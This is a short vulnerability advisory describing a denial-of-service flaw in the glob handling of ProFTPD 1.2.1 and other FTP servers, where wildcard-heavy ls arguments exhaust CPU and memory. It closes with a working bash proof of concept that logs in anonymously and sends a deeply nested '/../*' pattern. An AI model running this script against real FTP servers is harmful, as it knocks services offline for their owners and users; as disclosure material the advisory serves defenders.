[原文]The glob functionality in ProFTPD 1.2.1, and possibly other versions allows remote attackers to cause a denial of service (CPU and memory consumption) via commands with large numbers of wildcard and other special characters, as demonstrated using an ls command with multiple (1) "*/..", (2) "*/.*", or (3) ".*./*?/" sequences in the argument.

Many FTP servers are vulnerable to a denial of service condition resulting from poor globbing algorithms and user resource usage limits.

Globbing generates pathnames from file name patterns used by the shell, eg. wildcards denoted by * and ?, multiple choices denoted by {}, etc.

The vulnerable FTP servers can be exploited to exhaust system resources if per-user resource usage controls have not been implemented. 

#!/bin/bash=20
ftp -n FTP-SERVER<<\end=20
quot user anonymous
bin
quot pass shitold@bug.com
ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
bye=20
end=20
